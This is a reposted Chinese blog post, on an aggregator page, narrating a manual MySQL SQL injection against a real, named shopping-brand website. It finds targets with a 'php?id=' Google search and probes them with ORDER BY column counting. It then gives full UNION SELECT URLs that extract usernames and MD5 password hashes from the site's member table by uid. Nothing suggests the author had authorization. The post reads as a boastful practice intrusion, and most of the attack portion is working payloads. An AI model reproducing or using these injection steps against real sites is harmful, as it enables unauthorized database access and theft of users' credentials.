记一次php手工注入(mysql)
光說不練假把式,關于腳本***看的心癢,就實踐了一把。
首先google:inurl:"php?id="
發現這個網站可get注入:
http://brand.66wz.com/store.php?id=18
試了下http://brand.66wz.com/store.php?id=18?and user>0
有反應,網頁上出現錯誤提示:
然后輸入
http://brand.66wz.com/store.php?id=18 and order by 5
報錯:
根據提示,改為:
http://brand.66wz.com/store.php?id=18 ORDER BY 5 DESC LIMIT 0,20
頁面正常:
再將5改為30,錯誤。
改為20,正常。
······
最后得到的臨界值為24。
然后通過火狐的插件得到下面網址:
http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from tables
后面的tables我試了很多單詞,如admin什么的,都不行。
本來到這里就該結束了。
后來感覺太可惜了,抱著試一試的心態從網頁的源代碼取了點關鍵詞百度了一下,發現了跟這個網站很多相關的信息:(http://zhangjianbin.iteye.com/blog/1631387)
其中有:
brand_admincp_group 管理組 ?
brand_admincp_member 管理員 ?
brand_admincp_perm 管理員權限 ?
brand_adminsession 管理員與店鋪管理員登錄次數與信息判斷 ?
brand_members 會員信息
最后連源代碼都有了:http://code1.okbase.net/codefile/tool.func.php_2012121116304_79.htm
然后進入:
http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members
ok!10可以插入字段。
分別插入username以及password就得到了用戶名以及md5加密的密碼:
那么怎么匹配username和passeord呢,用穿山甲掃描的時候發現還有一個uid字段:
所以只要在網址中分別添上"where uid=xxxxx"就行了。
比如說:
http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,username,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members where uid=555157
http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members where uid=555157
再后來,md5解密的時候發現。。。
烏云上已經有這個網站的漏洞了:
http://www.wooyun.org/bugs/wooyun-2010-046524
還真是有夠年久了。
轉載于:https://blog.51cto.com/zero4eva/1576177
與50位技術專家面對面20年技術見證,附贈技術全景圖總結
以上是生活随笔為你收集整理的记一次php手工注入(mysql)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 物联网实验4 alljoyn物联网实验之
- 下一篇: 批量创建同义词并授权